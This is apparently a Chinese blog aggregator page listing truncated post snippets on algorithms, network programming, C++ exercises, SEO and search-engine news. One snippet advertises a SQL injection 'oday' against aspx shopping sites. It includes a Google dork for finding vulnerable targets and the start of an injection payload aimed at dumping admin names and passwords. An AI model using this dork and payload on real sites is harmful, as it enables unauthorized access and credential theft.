将行中连续的' . '当作X集的一个点,列中连续的’ . ‘看成Y集中的一个点,然后把每一个’ . ‘看成一条边,连接Xi,Yj。
则问题转化成求此二分的最大匹配数。每找到一条匹配边的意义是找到了一个点放置一个,并且覆盖了所在的连续的行和列。
所以答案即为此二分图的最大匹配。
#include
#include
#include
#include
#include
#inclu...
分类:
其他好文 时间:
2014-05-07 16:33:04
阅读次数:
283
准备开始写一些Linux 下网络编程以及多线程的blog,就从这个简单的echo程序开始吧。
在echo的服务端使用多线程与客户进行通信,可以实现一个服务端程序同时连接多个客户的功能。那么,到底在服务端要有多少个线程呢?
答案是:1+1+n。一个主线程,一个监听(listen)线程,与n个客...
分类:
编程语言 时间:
2014-05-07 13:55:04
阅读次数:
446
这里公布一个关于aspx网站程序的oday方法很简单。直接爆出管理密码。也是利用注入漏洞。利用代码谷歌搜索关键字:inurl:scoreindex.aspxcart.aspx?act=buy&id=1
and (SelectTop1char(124)%2BisNull(cast([Name] as ...
分类:
其他好文 时间:
2014-05-07 13:10:40
阅读次数:
606
第七章编程练习答案
7.1编写一个程序,用户不停输入两数,直到有0出现为止,计算调和平均数
//7.1编写一个程序,用户不停输入两数,直到有0出现为止,计算调和平均数
#include
using namespace std;
double average (unsigned x, unsigned y)
{
return (2.0 * x * y / (x + y));
}
i...
分类:
编程语言 时间:
2014-05-07 12:03:52
阅读次数:
727
题目链接:uva 1371 - Period
题目大意:给出两个字符串A,B将B分解成若干个子字符串,然后每个子字符串都要变成字符串A,所有子串中编辑最多的次数即为当前状态下的最大编辑次数,要求求最小的最大编辑次数。
解题思路:二分答案,用dp判断,主要是dp判断,dp[i][j]表示到1~i的字符串匹配到j的最大编辑次数,然后考虑分段的时候只要dp[i][0]
...
分类:
其他好文 时间:
2014-05-07 05:09:12
阅读次数:
282
《谷歌和亚马逊如何做产品》基本信息原书名:Shipping
greatness:practical lessons on building and launching outstanding
software,learned on the job aGoogle and Amazon?作者: (美)...
分类:
其他好文 时间:
2014-05-07 02:36:34
阅读次数:
338
对站长来说,百度、谷歌的每一次算法变动,确切来讲应该是自己网站在搜索引擎的排名、收录情况,都会牵动站长的神经。总有许多人在QQ群、论坛里讨论这些问题。
很多站长会天天查看网站SEO数据,比如收录量、关键词排名等等,因为它间接的反应了你的权重高低,甚至的流量情况。有流量就有收入,直到今天,这也是“真理”。
算法为什么变动
很早以前,我想开一个栏目,专门记录搜索引擎的每一...
分类:
其他好文 时间:
2014-05-06 19:11:13
阅读次数:
287
当神马杀入百度的后花园后,力挺者和唱衰者分庭抗礼,从投资者的角度来看,神马搜索的价值会成为提高阿里上市股票溢价的砝码吗?而作为竞争对手,百度股价会因为神马搜索的介入而大规模的蒸发吗?前事不忘后事之师,谷歌中国重新进入搜索领域,腾讯入股搜狗,360搜索继续发力,..
分类:
其他好文 时间:
2014-05-06 17:13:13
阅读次数:
238
如果有下面的一个笔试题:
已知我们有如下的调用关系
logIt(”log message 1 “);
logIt(”log message2”,"log message3”);
logIt(”log message4”,"log message5”,"log message6");
请问下面的答案中哪个是正确的
A. public void logIt(String * ms...
分类:
编程语言 时间:
2014-05-06 15:34:03
阅读次数:
290